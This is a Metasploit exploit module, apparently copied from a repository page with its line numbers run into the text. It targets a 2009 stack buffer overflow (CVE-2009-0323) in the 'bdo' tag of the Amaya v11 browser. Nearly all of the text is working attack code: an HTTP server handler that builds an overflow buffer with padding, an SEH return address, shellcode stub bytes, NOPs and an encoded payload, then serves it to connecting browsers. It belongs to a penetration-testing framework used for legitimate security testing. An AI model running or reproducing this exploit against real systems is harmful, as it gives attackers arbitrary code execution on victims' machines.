Path: blob/master/modules/exploits/windows/browser/amaya_bdo.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Amaya Browser v11.0 'bdo' Tag Overflow",16'Description' => %q{17This module exploits a stack buffer overflow in the Amaya v11 Browser.18By sending an overly long string to the "bdo"19tag, an attacker may be able to execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' => [ 'dookie, original exploit by Rob Carter' ],23'References' => [24[ 'CVE', '2009-0323' ],25[ 'OSVDB', '55721' ],26[ 'BID', '33046' ],27[ 'BID', '33047' ]28],29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 970,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll40],41'DisclosureDate' => '2009-01-28',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def on_request_uri(cli, request)53# Re-generate the payload54return if ((p = regenerate_payload(cli)) == nil)5556# Set the exploit buffer57sploit = "<bdo dir=\""58sploit += rand_text_alpha(6889)59sploit += "\x74\x06\x41\x41"60sploit += [target.ret].pack('V')61sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F62sploit += "\x58" # pop EAX63sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A085764sploit += "\x50" # push EAX65sploit += "\xc3" # RETN66sploit += make_nops(100)67sploit += payload.encoded68sploit += make_nops(970 - payload.encoded.length)69sploit += "\">pwned!</bdo>"7071print_status("Sending #{self.name}")7273# Transmit the response to the client74send_response_html(cli, sploit)7576# Handle the payload77handler(cli)78end79end808182